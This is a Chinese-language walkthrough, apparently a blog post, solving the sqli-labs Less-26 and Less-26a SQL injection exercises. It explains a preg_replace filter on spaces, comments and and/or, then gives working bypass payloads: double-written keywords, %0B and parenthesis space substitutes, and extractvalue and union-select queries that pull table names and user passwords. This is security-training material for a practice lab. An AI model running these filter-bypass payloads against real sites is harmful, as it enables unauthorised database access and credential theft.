

Less-26
页面中有提示

意思是空格 和 注释 被过滤,comments在这里是注释的意思,但是随便测试一下会发现and 和 or 也被过滤
因为输入?id=1and1 以及 ?id=1or1 下面的hint提示都是 11 没有显示中间的逻辑符,说明and 和or 都被替换为空了
输入?id=1' 有回显错误信息 near ''1'' LIMIT 0,1' at line 1 字符型注入,单引号闭合

那么简单的大方向就是报错注入 和 联合查询注入 需要绕过空格 注释符 以及 逻辑符的限制
分析一下源码中的函数便于理解原理

使用preg_replace()正则替换函数,把匹配的字符替换为空字符串
参数i表示不区分大小写, 所以会匹配不区分大小写的or和and,不能使用大小写来绕过
\s 是一个正则表达式模式,作用是匹配任何空白字符,例如空格、制表符、换页符等等
使用[] 代表匹配[]括号中的字符,所以会匹配/ * - # / \ 这些字符
\用来转义特殊字符 而转义符\也是特殊字符,所以也需要转义符来转义,关于\在php正则表达式的转义不在此叙述
代码中执行的sql语句是
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
逻辑符and or双写绕过
虽然preg_replace()函数过滤了and 和 or ,但是只是执行了替换为空字符串操作
语句并没有终止,sql语句依然会执行,并且preg_replace()只会对传入的字符串匹配一次
意味着如果传入anandd 那么中间的and会被匹配到替换为空,前面的an 和 后面的d 都不符合要求不会被匹配,最后就会变成and 绕过过滤 对于or也是同理 oorr即可绕过
注释符绕过
不能用# 和 -- 注释符 可以用单引号' 和 and'1 代替
关于注释符绕过的更详细的知识可以参考一下我的另一篇关于sqli-labs第23关 注释符绕过 的文章
https://blog.csdn.net/weixin_73904941/article/details/142685503?spm=1001.2014.3001.5501
空格绕过
//sql语句中可以代替空格的字符
注释符/**/
制表符%09
换行符%0a
括号()
反引号`
%a0 %0c %0b
在php5.4.45版本下测试,上面的字符除了()括号之外,其他的都不起作用,很多空白字符都被函数匹配
在php 5.2.17版本下测试 () %a0 和 %0b 是可行的,下面的操作都是在5.2.17版本下执行的
报错注入
有报错信息回显,所以可以用报错注入,逻辑符用|| information中的or双写infoorrmation
用|| 一是因为没有过滤|| 二是报错注入语句可以用and or || 这些逻辑符,效果是一样的,我那一篇文章也提到过
查看当前数据库,用括号()或者%a0 %0b绕过都可以
?id=1'||(extractvalue(1,concat('~',(select(database())))))||'1
查表
?id=1'||(extractvalue(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'))))||'1
查users表字段 and双写 anandd
?id=1'||(extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'))))||'1
查字段数据 password 中的or双写
?id=1'||(extractvalue(1,concat('~',(select(group_concat(passwoorrd))from(security.users)))))||'1

extractvalue()能查询字符串的最大长度为32,如果得到的结果超过32,就要用substr()等函数截取或limit限制,所以可以用substr()函数分区间依次查看
?id=1'||extractvalue(1,concat('~',(select%0Bsubstr((select%0Bgroup_concat(passwoorrd)%0Bfrom%0Bsecurity.users),30,60))))||'1

联合查询注入
?id=0'union%0Bselect%0B1,2,3'
得到查询表的列数是3 回显位是2 3
查表
用 and'1 闭合
?id=0'union%0Bselect%0B1,2,group_concat(table_name)from(infoorrmation_schema.tables)where(table_schema)='security'anandd'1
或者 用' 闭合
?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema='security')'
查字段
?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name='users')'
查字段数据
?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users)'
Less-26a
和Less-26的过滤函数是一样的,只是没有报错信息回显,所以不能用报错注入
这里的查询语句是

这里的过滤字符是可以轻松测试出来的,无论是用字典跑一下,还是手动尝试,但是查询语句的格式是不容易猜的
输入id=1 成功回显 id=1' 报错
id=1"(双引号)成功回显 输入两个单引号id=1''成功回显 可以初步判断是格式中有单引号闭合
也可以用?id=1%0Baandnd1=1 和?id=1%0Baandnd1=2 发现都正常回显id为1时的数据,说明不是数字型注入

而?id=1'%0Baandnd1=1 报错 ?id=1"%0Baandnd1=1 正常 也可以得出格式中有单引号闭合
使用?id=0'union%0Bselect%0B1,2,3' 联合查询时发现也是报错,说明除了参数id除了单引号之外还有别的字符包围,不然不会报错得不到结果,有最开始几关的提示,可以猜测格式中还有括号等字符
?id=1')anandd('1
页面成功回显id=1的信息 这里and('1') 和 and 1 是等价的 (' 是为了闭合 ')
而输入 ?id=0')anandd('1 页面没有回显,也没有报错,因为查询的是id=0的信息,所以是空的没有回显,也没有报错
因此可以判断格式为('$id') 下面就是和Less-26差不多的操作
只不过不能用' 和 and'1 闭合了 需要用(' 和 anandd('1 闭合 原理是一样的,变换一下而已
?id=0')union%0Bselect%0B1,2,('3

从下图中可以看出,这里('3')会被识别为3完成闭合,2也是回显位,因此可以在2位置执行查询语句,位置3用来闭合')

不过需要用括号()包围查询子句,像下面这样
查表
?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema%0B='security'),('3

查字段 注意双写 or 和 and
?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name%0B='users'),('3

查字段数据
?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users),('3

如果不使用union select 1,(select ....),('3') 的格式,可以用 and('1') 闭合
查表
?id=0')union%0Bselect%0B1,2,group_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema%0B='security'anandd('1

查字段
/?id=0')union%0Bselect%0B1,2,group_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name='users'anandd('1
查字段数据
?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users),('3
这里就不能用and('1') 闭合了,因为没有条件语句,格式错误会报错,上面那篇文章链接中提到过
如果有错误还请指正
1036

被折叠的 条评论
为什么被折叠?



